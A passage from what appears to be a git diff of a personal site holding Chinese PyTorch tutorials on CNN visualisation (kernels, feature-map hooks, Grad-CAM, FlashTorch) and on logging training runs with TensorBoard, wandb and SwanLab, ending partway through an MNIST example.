在PyTorch中可视化卷积核也非常方便,核心在于特定层的卷积核即特定层的模型权重,可视化卷积核就等价于可视化对应的权重矩阵。下面给出在PyTorch中可视化卷积核的实现方案,以torchvision自带的VGG11模型为例。

+

首先加载模型,并确定模型的层信息:

+
import torch
from torchvision.models import vgg11

model = vgg11(pretrained=True)
print(dict(model.features.named_children()))
+
{'0': Conv2d(3, 64, kernel_size=(3, 3), stride=(1, 1), padding=(1, 1)),
'1': ReLU(inplace=True),
'2': MaxPool2d(kernel_size=2, stride=2, padding=0, dilation=1, ceil_mode=False),
'3': Conv2d(64, 128, kernel_size=(3, 3), stride=(1, 1), padding=(1, 1)),
'4': ReLU(inplace=True),
'5': MaxPool2d(kernel_size=2, stride=2, padding=0, dilation=1, ceil_mode=False),
'6': Conv2d(128, 256, kernel_size=(3, 3), stride=(1, 1), padding=(1, 1)),
'7': ReLU(inplace=True),
'8': Conv2d(256, 256, kernel_size=(3, 3), stride=(1, 1), padding=(1, 1)),
'9': ReLU(inplace=True),
'10': MaxPool2d(kernel_size=2, stride=2, padding=0, dilation=1, ceil_mode=False),
'11': Conv2d(256, 512, kernel_size=(3, 3), stride=(1, 1), padding=(1, 1)),
'12': ReLU(inplace=True),
'13': Conv2d(512, 512, kernel_size=(3, 3), stride=(1, 1), padding=(1, 1)),
'14': ReLU(inplace=True),
'15': MaxPool2d(kernel_size=2, stride=2, padding=0, dilation=1, ceil_mode=False),
'16': Conv2d(512, 512, kernel_size=(3, 3), stride=(1, 1), padding=(1, 1)),
'17': ReLU(inplace=True),
'18': Conv2d(512, 512, kernel_size=(3, 3), stride=(1, 1), padding=(1, 1)),
'19': ReLU(inplace=True),
'20': MaxPool2d(kernel_size=2, stride=2, padding=0, dilation=1, ceil_mode=False)}
+

卷积核对应的应为卷积层(Conv2d),这里以第“3”层为例,可视化对应的参数:

+
conv1 = dict(model.features.named_children())['3']
kernel_set = conv1.weight.detach()
num = len(conv1.weight.detach())
print(kernel_set.shape)
for i in range(0,num):
i_kernel = kernel_set[i]
plt.figure(figsize=(20, 17))
if (len(i_kernel)) > 1:
for idx, filer in enumerate(i_kernel):
plt.subplot(9, 9, idx+1)
plt.axis('off')
plt.imshow(filer[ :, :].detach(),cmap='bwr')
+
torch.Size([128, 64, 3, 3])
+

由于第“3”层的特征图由64维变为128维,因此共有128*64个卷积核,其中部分卷积核可视化效果如下图所示:

+

kernel

+

7.2.2 CNN特征图可视化方法​

+

与卷积核相对应,输入的原始图像经过每次卷积层得到的数据称为特征图,可视化卷积核是为了看模型提取哪些特征,可视化特征图则是为了看模型提取到的特征是什么样子的。

+

获取特征图的方法有很多种,可以从输入开始,逐层做前向传播,直到想要的特征图处将其返回。尽管这种方法可行,但是有些麻烦了。在PyTorch中,提供了一个专用的接口使得网络在前向传播过程中能够获取到特征图,这个接口的名称非常形象,叫做hook。可以想象这样的场景,数据通过网络向前传播,网络某一层我们预先设置了一个钩子,数据传播过后钩子上会留下数据在这一层的样子,读取钩子的信息就是这一层的特征图。具体实现如下:

+
class Hook(object):
def __init__(self):
self.module_name = []
self.features_in_hook = []
self.features_out_hook = []

def __call__(self,module, fea_in, fea_out):
print("hooker working", self)
self.module_name.append(module.__class__)
self.features_in_hook.append(fea_in)
self.features_out_hook.append(fea_out)
return None


def plot_feature(model, idx, inputs):
hh = Hook()
model.features[idx].register_forward_hook(hh)

# forward_model(model,False)
model.eval()
_ = model(inputs)
print(hh.module_name)
print((hh.features_in_hook[0][0].shape))
print((hh.features_out_hook[0].shape))

out1 = hh.features_out_hook[0]

total_ft = out1.shape[1]
first_item = out1[0].cpu().clone()

plt.figure(figsize=(20, 17))


for ftidx in range(total_ft):
if ftidx > 99:
break
ft = first_item[ftidx]
plt.subplot(10, 10, ftidx+1)

plt.axis('off')
#plt.imshow(ft[ :, :].detach(),cmap='gray')
plt.imshow(ft[ :, :].detach())
+

这里我们首先实现了一个hook类,之后在plot_feature函数中,将该hook类的对象注册到要进行可视化的网络的某层中。model在进行前向传播的时候会调用hook的__call__函数,我们也就是在那里存储了当前层的输入和输出。这里的features_out_hook 是一个list,每次前向传播一次,都是调用一次,也就是features_out_hook 长度会增加1。

+

7.2.3 CNN class activation map可视化方法​

+

class activation map (CAM)的作用是判断哪些变量对模型来说是重要的,在CNN可视化的场景下,即判断图像中哪些像素点对预测结果是重要的。除了确定重要的像素点,人们也会对重要区域的梯度感兴趣,因此在CAM的基础上也进一步改进得到了Grad-CAM(以及诸多变种)。CAM和Grad-CAM的示例如下图所示:

+

cam

+

相比可视化卷积核与可视化特征图,CAM系列可视化更为直观,能够一目了然地确定重要区域,进而进行可解释性分析或模型优化改进。CAM系列操作的实现可以通过开源工具包pytorch-grad-cam来实现。

+
    +
  • 安装
  • +
+
pip install grad-cam
+
    +
  • 一个简单的例子
  • +
+
import torch
from torchvision.models import vgg11,resnet18,resnet101,resnext101_32x8d
import matplotlib.pyplot as plt
from PIL import Image
import numpy as np

model = vgg11(pretrained=True)
img_path = './dog.png'
# resize操作是为了和传入神经网络训练图片大小一致
img = Image.open(img_path).resize((224,224))
# 需要将原始图片转为np.float32格式并且在0-1之间
rgb_img = np.float32(img)/255
plt.imshow(img)
+

dog

+
from pytorch_grad_cam import GradCAM,ScoreCAM,GradCAMPlusPlus,AblationCAM,XGradCAM,EigenCAM,FullGrad
from pytorch_grad_cam.utils.model_targets import ClassifierOutputTarget
from pytorch_grad_cam.utils.image import show_cam_on_image

# 将图片转为tensor
img_tensor = torch.from_numpy(rgb_img).permute(2,0,1).unsqueeze(0)

target_layers = [model.features[-1]]
# 选取合适的类激活图,但是ScoreCAM和AblationCAM需要batch_size
cam = GradCAM(model=model,target_layers=target_layers)
targets = [ClassifierOutputTarget(preds)]
# 上方preds需要设定,比如ImageNet有1000类,这里可以设为200
grayscale_cam = cam(input_tensor=img_tensor, targets=targets)
grayscale_cam = grayscale_cam[0, :]
cam_img = show_cam_on_image(rgb_img, grayscale_cam, use_rgb=True)
print(type(cam_img))
Image.fromarray(cam_img)
+

grad_cam

+

7.2.4 使用FlashTorch快速实现CNN可视化​

+

聪明的你可能要问了,已经202x年了,难道还要我们手把手去写各种CNN可视化的代码吗?答案当然是否定的。随着PyTorch社区的努力,目前已经有不少开源工具能够帮助我们快速实现CNN可视化。这里我们介绍其中的一个——FlashTorch。

+

(注:使用中发现该package对环境有要求,如果下方代码运行报错,请参考作者给出的配置或者Colab运行环境:https://github.com/MisaOgura/flashtorch/issues/39)

+
    +
  • 安装
  • +
+
pip install flashtorch
+
    +
  • 可视化梯度
  • +
+
# Download example images
# !mkdir -p images
# !wget -nv \
# https://github.com/MisaOgura/flashtorch/raw/master/examples/images/great_grey_owl.jpg \
# https://github.com/MisaOgura/flashtorch/raw/master/examples/images/peacock.jpg \
# https://github.com/MisaOgura/flashtorch/raw/master/examples/images/toucan.jpg \
# -P /content/images

import matplotlib.pyplot as plt
import torchvision.models as models
from flashtorch.utils import apply_transforms, load_image
from flashtorch.saliency import Backprop

model = models.alexnet(pretrained=True)
backprop = Backprop(model)

image = load_image('/content/images/great_grey_owl.jpg')
owl = apply_transforms(image)

target_class = 24
backprop.visualize(owl, target_class, guided=True, use_gpu=True)
+

ft-gradient

+
    +
  • 可视化卷积核
  • +
+
import torchvision.models as models
from flashtorch.activmax import GradientAscent

model = models.vgg16(pretrained=True)
g_ascent = GradientAscent(model.features)

# specify layer and filter info
conv5_1 = model.features[24]
conv5_1_filters = [45, 271, 363, 489]

g_ascent.visualize(conv5_1, conv5_1_filters, title="VGG16: conv5_1")
+

ft-activate

+

参考资料​

+
    +
  1. https://andrewhuman.github.io/cnn-hidden-layout_search
  2. +
  3. https://cloud.tencent.com/developer/article/1747222
  4. +
  5. https://github.com/jacobgil/pytorch-grad-cam
  6. +
  7. https://github.com/MisaOgura/flashtorch
  8. +
+ + \ No newline at end of file diff --git a/docs/个人知识库/AI/PyTorch/第七章/7.3 使用TensorBoard可视化训练过程/index.html b/docs/个人知识库/AI/PyTorch/第七章/7.3 使用TensorBoard可视化训练过程/index.html new file mode 100644 index 0000000..c497ea9 --- /dev/null +++ b/docs/个人知识库/AI/PyTorch/第七章/7.3 使用TensorBoard可视化训练过程/index.html @@ -0,0 +1,161 @@ + + + + + +7.3 使用TensorBoard可视化训练过程.md | wjlin0 + + + + + + + +

7.3 使用TensorBoard可视化训练过程.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:26
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

7.3 使用TensorBoard可视化训练过程

+

训练过程的可视化在深度学习模型训练中扮演着重要的角色。学习的过程是一个优化的过程,我们需要找到最优的点作为训练过程的输出产物。一般来说,我们会结合训练集的损失函数和验证集的损失函数,绘制两条损失函数的曲线来确定训练的终点,找到对应的模型用于测试。那么除了记录训练中每个epoch的loss值,能否实时观察损失函数曲线的变化,及时捕捉模型的变化呢?

+

此外,我们也希望可视化其他内容,如输入数据(尤其是图片)、模型结构、参数分布等,这些对于我们在debug中查找问题来源非常重要(比如输入数据和我们想象的是否一致)。

+

TensorBoard作为一款可视化工具能够满足上面提到的各种需求。TensorBoard由TensorFlow团队开发,最早和TensorFlow配合使用,后来广泛应用于各种深度学习框架的可视化中来。本节我们探索TensorBoard的强大功能,希望帮助读者“从入门到精通”。

+

经过本节的学习,你将收获:

+
    +
  • 安装TensorBoard工具
  • +
  • 了解TensorBoard可视化的基本逻辑
  • +
  • 掌握利用TensorBoard实现训练过程可视化
  • +
  • 掌握利用TensorBoard完成其他内容的可视化
  • +
+

7.3.1 TensorBoard安装​

+

在已安装PyTorch的环境下使用pip安装即可:

+
pip install tensorboardX
+

也可以使用PyTorch自带的tensorboard工具,此时不需要额外安装tensorboard。

+

7.3.2 TensorBoard可视化的基本逻辑​

+

我们可以将TensorBoard看做一个记录员,它可以记录我们指定的数据,包括模型每一层的feature map,权重,以及训练loss等等。TensorBoard将记录下来的内容保存在一个用户指定的文件夹里,程序不断运行中TensorBoard会不断记录。记录下的内容可以通过网页的形式加以可视化。

+

7.3.3 TensorBoard的配置与启动​

+

在使用TensorBoard前,我们需要先指定一个文件夹供TensorBoard保存记录下来的数据。然后调用tensorboard中的SummaryWriter作为上述“记录员”

+
from tensorboardX import SummaryWriter

writer = SummaryWriter('./runs')
+

上面的操作实例化SummaryWritter为变量writer,并指定writer的输出目录为当前目录下的"runs"目录。也就是说,之后tensorboard记录下来的内容都会保存在runs。

+

如果使用PyTorch自带的tensorboard,则采用如下方式import:

+
from torch.utils.tensorboard import SummaryWriter
+

这里聪明的你可能发现了,是否可以手动往runs文件夹里添加数据用于可视化,或者把runs文件夹里的数据放到其他机器上可视化呢?答案是可以的。只要数据被记录,你可以将这个数据分享给其他人,其他人在安装了tensorboard的情况下就会看到你分享的数据。

+

启动tensorboard也很简单,在命令行中输入

+
tensorboard --logdir=/path/to/logs/ --port=xxxx
+

其中“path/to/logs/"是指定的保存tensorboard记录结果的文件路径(等价于上面的“./runs",port是外部访问TensorBoard的端口号,可以通过访问ip:port访问tensorboard,这一操作和jupyter notebook的使用类似。如果不是在服务器远程使用的话则不需要配置port。

+

有时,为了tensorboard能够不断地在后台运行,也可以使用nohup命令或者tmux工具来运行tensorboard。大家可以自行搜索,这里不展开讨论了。

+

下面,我们将模拟深度学习模型训练过程,来介绍如何利用TensorBoard可视化其中的各个部分。

+

7.3.4 TensorBoard模型结构可视化​

+

首先定义模型:

+
import torch.nn as nn

class Net(nn.Module):
def __init__(self):
super(Net, self).__init__()
self.conv1 = nn.Conv2d(in_channels=3,out_channels=32,kernel_size = 3)
self.pool = nn.MaxPool2d(kernel_size = 2,stride = 2)
self.conv2 = nn.Conv2d(in_channels=32,out_channels=64,kernel_size = 5)
self.adaptive_pool = nn.AdaptiveMaxPool2d((1,1))
self.flatten = nn.Flatten()
self.linear1 = nn.Linear(64,32)
self.relu = nn.ReLU()
self.linear2 = nn.Linear(32,1)
self.sigmoid = nn.Sigmoid()

def forward(self,x):
x = self.conv1(x)
x = self.pool(x)
x = self.conv2(x)
x = self.pool(x)
x = self.adaptive_pool(x)
x = self.flatten(x)
x = self.linear1(x)
x = self.relu(x)
x = self.linear2(x)
y = self.sigmoid(x)
return y

model = Net()
print(model)
+

输出如下:

+
Net(
(conv1): Conv2d(3, 32, kernel_size=(3, 3), stride=(1, 1))
(pool): MaxPool2d(kernel_size=2, stride=2, padding=0, dilation=1, ceil_mode=False)
(conv2): Conv2d(32, 64, kernel_size=(5, 5), stride=(1, 1))
(adaptive_pool): AdaptiveMaxPool2d(output_size=(1, 1))
(flatten): Flatten(start_dim=1, end_dim=-1)
(linear1): Linear(in_features=64, out_features=32, bias=True)
(relu): ReLU()
(linear2): Linear(in_features=32, out_features=1, bias=True)
(sigmoid): Sigmoid()
)
+

可视化模型的思路和7.1中介绍的方法一样,都是给定一个输入数据,前向传播后得到模型的结构,再通过TensorBoard进行可视化,使用add_graph:

+
writer.add_graph(model, input_to_model = torch.rand(1, 3, 224, 224))
writer.close()
+

展示结果如下(其中框内部分初始会显示为“Net",需要双击后才会展开):

+

tb_model

+

7.3.5 TensorBoard图像可视化​

+

当我们做图像相关的任务时,可以方便地将所处理的图片在tensorboard中进行可视化展示。

+
    +
  • 对于单张图片的显示使用add_image
  • +
  • 对于多张图片的显示使用add_images
  • +
  • 有时需要使用torchvision.utils.make_grid将多张图片拼成一张图片后,用writer.add_image显示
  • +
+

这里我们使用torchvision的CIFAR10数据集为例:

+
import torchvision
from torchvision import datasets, transforms
from torch.utils.data import DataLoader

transform_train = transforms.Compose(
[transforms.ToTensor()])
transform_test = transforms.Compose(
[transforms.ToTensor()])

train_data = datasets.CIFAR10(".", train=True, download=True, transform=transform_train)
test_data = datasets.CIFAR10(".", train=False, download=True, transform=transform_test)
train_loader = DataLoader(train_data, batch_size=64, shuffle=True)
test_loader = DataLoader(test_data, batch_size=64)

images, labels = next(iter(train_loader))

# 仅查看一张图片
writer = SummaryWriter('./pytorch_tb')
writer.add_image('images[0]', images[0])
writer.close()

# 将多张图片拼接成一张图片,中间用黑色网格分割
# create grid of images
writer = SummaryWriter('./pytorch_tb')
img_grid = torchvision.utils.make_grid(images)
writer.add_image('image_grid', img_grid)
writer.close()

# 将多张图片直接写入
writer = SummaryWriter('./pytorch_tb')
writer.add_images("images",images,global_step = 0)
writer.close()
+

依次运行上面三组可视化(注意不要同时在notebook的一个单元格内运行),得到的可视化结果如下(最后运行的结果在最上面):

+

tb_images

+

tb_image_gird

+

tb_image

+

另外注意上方menu部分,刚刚只有“GRAPHS"栏对应模型的可视化,现在则多出了”IMAGES“栏对应图像的可视化。左侧的滑动按钮可以调整图像的亮度和对比度。

+

此外,除了可视化原始图像,TensorBoard提供的可视化方案自然也适用于我们在Python中用matplotlib等工具绘制的其他图像,用于展示分析结果等内容。

+

7.3.6 TensorBoard连续变量可视化​

+

TensorBoard可以用来可视化连续变量(或时序变量)的变化过程,通过add_scalar实现:

+
writer = SummaryWriter('./pytorch_tb')
for i in range(500):
x = i
y = x**2
writer.add_scalar("x", x, i) #日志中记录x在第step i 的值
writer.add_scalar("y", y, i) #日志中记录y在第step i 的值
writer.close()
+

可视化结果如下:

+

tb_scalar

+

如果想在同一张图中显示多个曲线,则需要分别建立存放子路径(使用SummaryWriter指定路径即可自动创建,但需要在tensorboard运行目录下),同时在add_scalar中修改曲线的标签使其一致即可:

+
writer1 = SummaryWriter('./pytorch_tb/x')
writer2 = SummaryWriter('./pytorch_tb/y')
for i in range(500):
x = i
y = x*2
writer1.add_scalar("same", x, i) #日志中记录x在第step i 的值
writer2.add_scalar("same", y, i) #日志中记录y在第step i 的值
writer1.close()
writer2.close()
+

tb_scalar_twolines

+

这里也可以用一个writer,但for循环中不断创建SummaryWriter不是一个好选项。此时左下角的Runs部分出现了勾选项,我们可以选择我们想要可视化的曲线。曲线名称对应存放子路径的名称(这里是x和y)。

+

这部分功能非常适合损失函数的可视化,可以帮助我们更加直观地了解模型的训练情况,从而确定最佳的checkpoint。左侧的Smoothing滑动按钮可以调整曲线的平滑度,当损失函数震荡较大时,将Smoothing调大有助于观察loss的整体变化趋势。

+

7.3.7 TensorBoard参数分布可视化​

+

当我们需要对参数(或向量)的变化,或者对其分布进行研究时,可以方便地用TensorBoard来进行可视化,通过add_histogram实现。下面给出一个例子:

+
import torch
import numpy as np

# 创建正态分布的张量模拟参数矩阵
def norm(mean, std):
t = std * torch.randn((100, 20)) + mean
return t

writer = SummaryWriter('./pytorch_tb/')
for step, mean in enumerate(range(-10, 10, 1)):
w = norm(mean, 1)
writer.add_histogram("w", w, step)
writer.flush()
writer.close()
+

结果如下:

+

tb_hist

+

7.3.8 服务器端使用TensorBoard​

+

一般情况下,我们会连接远程的服务器来对模型进行训练,但由于服务器端是没有浏览器的(纯命令模式),因此,我们需要进行相应的配置,才可以在本地浏览器,使用tensorboard查看服务器运行的训练过程。 +本文提供以下几种方式进行,其中前两种方法都是建立SSH隧道,实现远程端口到本机端口的转发,最后一种方法适用于没有下载Xshell等SSH连接工具的用户

+
    +
  • +

    MobaXterm

    +
      +
    1. 在MobaXterm点击Tunneling
    2. +
    3. 选择New SSH tunnel,我们会出现以下界面。
    4. +
    +

    ssh_tunnel +3. 对新建的SSH通道做以下设置,第一栏我们选择Local port forwarding,< Remote Server>我们填写localhost,< Remote port>填写6006,tensorboard默认会在6006端口进行显示,我们也可以根据 tensorboard --logdir=/path/to/logs/ --port=xxxx的命令中的port进行修改,< SSH server> 填写我们连接服务器的ip地址,<SSH login>填写我们连接的服务器的用户名,<SSH port>填写端口号(通常为22),< forwarded port>填写的是本地的一个端口号,以便我们后面可以对其进行访问。 +4. 设定好之后,点击Save,然后Start。在启动tensorboard,这样我们就可以在本地的浏览器输入http://localhost:6006/对其进行访问了

    +
  • +
  • +

    Xshell

    +
      +
    1. Xshell的连接方法与MobaXterm的连接方式本质上是一样的,具体操作如下:
    2. +
    3. 连接上服务器后,打开当前会话属性,会出现下图,我们选择隧道,点击添加 +xhell_ui
    4. +
    5. 按照下方图进行选择,其中目标主机代表的是服务器,源主机代表的是本地,端口的选择根据实际情况而定。 +xhell_set
    6. +
    7. 启动tensorboard,在本地127.0.0.1:6006 或者 localhost:6006进行访问。
    8. +
    +
  • +
  • +

    SSH

    +
      +
    1. 该方法是将服务器的6006端口重定向到自己机器上来,我们可以在本地的终端里输入以下代码:其中16006代表映射到本地的端口,6006代表的是服务器上的端口。
    2. +
    +
      ssh -L 16006:127.0.0.1:6006 username@remote_server_ip
    +
      +
    1. 在服务上使用默认的6006端口正常启动tensorboard
    2. +
    +
    tensorboard --logdir=xxx --port=6006
    +
      +
    1. 在本地的浏览器输入地址
    2. +
    +
    127.0.0.1:16006 或者 localhost:16006
    +
  • +
+

7.3.9 总结​

+

对于TensorBoard来说,它的功能是很强大的,可以记录的东西不只限于本节所介绍的范围。

+

主要的实现方案是构建一个SummaryWriter,然后通过add_XXX()函数来实现。

+

其实TensorBoard的逻辑还是很简单的,它的基本逻辑就是文件的读写逻辑,写入想要可视化的数据,然后TensorBoard自己会读出来。

+

参考资料​

+
    +
  1. https://blog.csdn.net/Python_Ai_Road/article/details/107704530
  2. +
+ + \ No newline at end of file diff --git a/docs/个人知识库/AI/PyTorch/第七章/7.4 使用wandb可视化训练过程/index.html b/docs/个人知识库/AI/PyTorch/第七章/7.4 使用wandb可视化训练过程/index.html new file mode 100644 index 0000000..5b562ad --- /dev/null +++ b/docs/个人知识库/AI/PyTorch/第七章/7.4 使用wandb可视化训练过程/index.html @@ -0,0 +1,78 @@ + + + + + +7.4 使用wandb可视化训练过程.md | wjlin0 + + + + + + + +

7.4 使用wandb可视化训练过程.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:26
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

7.4 使用wandb可视化训练过程

+

在上一节中,我们使用了Tensorboard可视化训练过程,但是Tensorboard对数据的保存仅限于本地,也很难分析超参数不同对实验的影响。wandb的出现很好的解决了这些问题,因此在本章节中,我们将对wandb进行简要介绍。 +wandb是Weights & Biases的缩写,它能够自动记录模型训练过程中的超参数和输出指标,然后可视化和比较结果,并快速与其他人共享结果。目前它能够和Jupyter、TensorFlow、Pytorch、Keras、Scikit、fast.ai、LightGBM、XGBoost一起结合使用。

+

经过本节的学习,你将收获:

+
    +
  • wandb的安装
  • +
  • wandb的使用
  • +
  • demo演示
  • +
+

7.4.1 wandb的安装​

+

wandb的安装非常简单,我们只需要使用pip安装即可。

+
pip install wandb
+

安装完成后,我们需要在官网注册一个账号并复制下自己的API keys,然后在本地使用下面的命令登录。

+
wandb login
+

这时,我们会看到下面的界面,只需要粘贴你的API keys即可。 +

+

7.4.2 wandb的使用​

+

wandb的使用也非常简单,只需要在代码中添加几行代码即可。

+
import wandb
wandb.init(project='my-project', entity='my-name')
+

这里的project和entity是你在wandb上创建的项目名称和用户名,如果你还没有创建项目,可以参考官方文档。

+

7.4.3 demo演示​

+

下面我们使用一个CIFAR10的图像分类demo来演示wandb的使用。

+

import random # to set the python random seed
import numpy # to set the numpy random seed
import torch
import torch.nn as nn
import torch.nn.functional as F
import torch.optim as optim
from torchvision import datasets, transforms
from torch.utils.data import DataLoader
from torchvision.models import resnet18
import warnings
warnings.filterwarnings('ignore')
+

使用wandb的第一步是初始化wandb,这里我们使用wandb.init()函数来初始化wandb,其中project是你在wandb上创建的项目名称,name是你的实验名称。

+
# 初始化wandb
import wandb
wandb.init(project="thorough-pytorch",
name="wandb_demo",)
+

使用wandb的第二步是设置超参数,这里我们使用wandb.config来设置超参数,这样我们就可以在wandb的界面上看到超参数的变化。wandb.config的使用方法和字典类似,我们可以使用config.key的方式来设置超参数。

+
# 超参数设置
config = wandb.config # config的初始化
config.batch_size = 64
config.test_batch_size = 10
config.epochs = 5
config.lr = 0.01
config.momentum = 0.1
config.use_cuda = True
config.seed = 2043
config.log_interval = 10

# 设置随机数
def set_seed(seed):
random.seed(config.seed)
torch.manual_seed(config.seed)
numpy.random.seed(config.seed)

+

第三步是构建训练和测试的pipeline,这里我们使用pytorch的CIFAR10数据集和resnet18来构建训练和测试的pipeline。

+
def train(model, device, train_loader, optimizer):
model.train()

for batch_id, (data, target) in enumerate(train_loader):
data, target = data.to(device), target.to(device)
optimizer.zero_grad()
output = model(data)
criterion = nn.CrossEntropyLoss()
loss = criterion(output, target)
loss.backward()
optimizer.step()

# wandb.log用来记录一些日志(accuracy,loss and epoch), 便于随时查看网路的性能
def test(model, device, test_loader, classes):
model.eval()
test_loss = 0
correct = 0
example_images = []

with torch.no_grad():
for data, target in test_loader:
data, target = data.to(device), target.to(device)
output = model(data)
criterion = nn.CrossEntropyLoss()
test_loss += criterion(output, target).item()
pred = output.max(1, keepdim=True)[1]
correct += pred.eq(target.view_as(pred)).sum().item()
example_images.append(wandb.Image(
data[0], caption="Pred:{} Truth:{}".format(classes[pred[0].item()], classes[target[0]])))

# 使用wandb.log 记录你想记录的指标
wandb.log({
"Examples": example_images,
"Test Accuracy": 100. * correct / len(test_loader.dataset),
"Test Loss": test_loss
})

wandb.watch_called = False


def main():
use_cuda = config.use_cuda and torch.cuda.is_available()
device = torch.device("cuda:0" if use_cuda else "cpu")
kwargs = {'num_workers': 1, 'pin_memory': True} if use_cuda else {}

# 设置随机数
set_seed(config.seed)
torch.backends.cudnn.deterministic = True

# 数据预处理
transform = transforms.Compose([
transforms.ToTensor(),
transforms.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5))
])

# 加载数据
train_loader = DataLoader(datasets.CIFAR10(
root='dataset',
train=True,
download=True,
transform=transform
), batch_size=config.batch_size, shuffle=True, **kwargs)

test_loader = DataLoader(datasets.CIFAR10(
root='dataset',
train=False,
download=True,
transform=transform
), batch_size=config.batch_size, shuffle=False, **kwargs)

classes = ('plane', 'car', 'bird', 'cat', 'deer', 'dog', 'frog', 'horse', 'ship', 'truck')

model = resnet18(pretrained=True).to(device)
optimizer = optim.SGD(model.parameters(), lr=config.lr, momentum=config.momentum)

wandb.watch(model, log="all")
for epoch in range(1, config.epochs + 1):
train(model, device, train_loader, optimizer)
test(model, device, test_loader, classes)

# 本地和云端模型保存
torch.save(model.state_dict(), 'model.pth')
wandb.save('model.pth')


if __name__ == '__main__':
main()

+

当我们运行完上面的代码后,我们就可以在wandb的界面上看到我们的训练结果了和系统的性能指标。同时,我们还可以在setting里面设置训练完给我们发送邮件,这样我们就可以在训练完之后及时的查看训练结果了。 + + +

+

我们可以发现,使用wandb可以很方便的记录我们的训练结果,除此之外,wandb还为我们提供了很多的功能,比如:模型的超参数搜索,模型的版本控制,模型的部署等等。这些功能都可以帮助我们更好的管理我们的模型,更好的进行模型的迭代和优化。这些功能我们在后面的更新中会进行介绍。

+ + \ No newline at end of file diff --git a/docs/个人知识库/AI/PyTorch/第七章/7.5 使用SwanLab可视化训练过程/index.html b/docs/个人知识库/AI/PyTorch/第七章/7.5 使用SwanLab可视化训练过程/index.html new file mode 100644 index 0000000..08cfe4a --- /dev/null +++ b/docs/个人知识库/AI/PyTorch/第七章/7.5 使用SwanLab可视化训练过程/index.html @@ -0,0 +1,86 @@ + + + + + +7.5 使用SwanLab可视化训练过程.md | wjlin0 + + + + + + + +

7.5 使用SwanLab可视化训练过程.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:26
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

7.5 使用SwanLab可视化训练过程

+

在上一节中,我们使用了Wandb可视化训练过程,但是Wandb将数据存储在海外,在国内的网络环境下访问速度较慢,且容易断连。SwanLab是一个由中国团队开发的训练可视化平台,国内访问稳定流畅,在功能上支持自动记录模型训练过程中的超参数和输出指标,然后可视化和比较结果,并快速与其他人共享结果。目前它还支持监控昇腾NPU的训练情况,能够和PyTorch、Keras、MMDetection、LLaMA Factory、LightGBM、XGBoost等框架结合使用。

+

经过本节的学习,你将收获:

+
    +
  • SwanLab的安装
  • +
  • SwanLab的基本使用
  • +
  • SwanLab跟踪MNIST案例
  • +
  • SwanLab跟踪YOLO案例
  • +
+

7.5.1 SwanLab的安装​

+

SwanLab的安装非常简单,我们只需要使用pip安装即可。

+
pip install swanlab
+

安装完成后,我们需要在官网注册一个账号并复制下自己的API keys,然后在本地使用下面的命令登录。

+
swanlab login
+

这时,我们会看到下面的界面,只需要粘贴你的API keys即可。

+

+

7.5.2 SwanLab的基本使用​

+

SwanLab的使用也非常简单,只需要在代码中添加几行代码即可,大概分为两步。

+

第一步,初始化项目:

+
import swanlab

swanlab.init(project="my-project", experiment_name="first_exp")
+

这里的project和experiment_name是你在swanlab上创建的项目名称和实验名。

+

项目和实验的关系有点类似PC中的文件夹和文件的关系,你的每次训练进程都是一个实验,而项目是实验的集合,用来进行多个实验之间的对比与管理。

+

第二步,记录数据:

+
for i in range(10):
swanlab.log({"loss": 1-0.1*i, "acc": 0.1*i})
+

这里的log是记录指标的函数,它接收一个字典,字典的key是指标的名称,value是指标的值。

+

Hello World代码

+
import swanlab
import random

# 创建一个SwanLab项目
swanlab.init(
# 设置项目名
project="my-awesome-project",

# 设置超参数
config={
"learning_rate": 0.02,
"architecture": "CNN",
"dataset": "CIFAR-100",
"epochs": 10
}
)

# 模拟一次训练
epochs = 10
offset = random.random() / 5
for epoch in range(2, epochs):
acc = 1 - 2 ** -epoch - random.random() / epoch - offset
loss = 2 ** -epoch + random.random() / epoch + offset

# 记录训练指标
swanlab.log({"acc": acc, "loss": loss})

# [可选] 完成训练,这在notebook环境中是必要的
swanlab.finish()
+

当我们运行完上面的代码后,就可以在swanlab的界面看到我们的训练结果了:

+

swanlab hello world

+

7.5.3 SwanLab跟踪MNIST案例​

+

下面我们使用一个MNSIT手写体识别的demo来演示SwanLab的使用。 预览链接。

+
import os
import torch
from torch import nn, optim, utils
import torch.nn.functional as F
import torchvision
from torchvision.datasets import MNIST
from torchvision.transforms import ToTensor
import swanlab

# CNN网络构建
class ConvNet(nn.Module):
def __init__(self):
super().__init__()
# 1,28x28
self.conv1 = nn.Conv2d(1, 10, 5) # 10, 24x24
self.conv2 = nn.Conv2d(10, 20, 3) # 128, 10x10
self.fc1 = nn.Linear(20 * 10 * 10, 500)
self.fc2 = nn.Linear(500, 10)

def forward(self, x):
in_size = x.size(0)
out = self.conv1(x) # 24
out = F.relu(out)
out = F.max_pool2d(out, 2, 2) # 12
out = self.conv2(out) # 10
out = F.relu(out)
out = out.view(in_size, -1)
out = self.fc1(out)
out = F.relu(out)
out = self.fc2(out)
out = F.log_softmax(out, dim=1)
return out


# 捕获并可视化前20张图像
def log_images(loader, num_images=16):
images_logged = 0
logged_images = []
for images, labels in loader:
# images: batch of images, labels: batch of labels
for i in range(images.shape[0]):
if images_logged < num_images:
# 使用swanlab.Image将图像转换为wandb可视化格式
logged_images.append(swanlab.Image(images[i], caption=f"Label: {labels[i]}"))
images_logged += 1
else:
break
if images_logged >= num_images:
break
swanlab.log({"MNIST-Preview": logged_images})


def train(model, device, train_dataloader, optimizer, criterion, epoch, num_epochs):
model.train()
# 1. 循环调用train_dataloader,每次取出1个batch_size的图像和标签
for iter, (inputs, labels) in enumerate(train_dataloader):
inputs, labels = inputs.to(device), labels.to(device)
optimizer.zero_grad()
# 2. 传入到resnet18模型中得到预测结果
outputs = model(inputs)
# 3. 将结果和标签传入损失函数中计算交叉熵损失
loss = criterion(outputs, labels)
# 4. 根据损失计算反向传播
loss.backward()
# 5. 优化器执行模型参数更新
optimizer.step()
print('Epoch [{}/{}], Iteration [{}/{}], Loss: {:.4f}'.format(epoch, num_epochs, iter + 1, len(train_dataloader),
loss.item()))
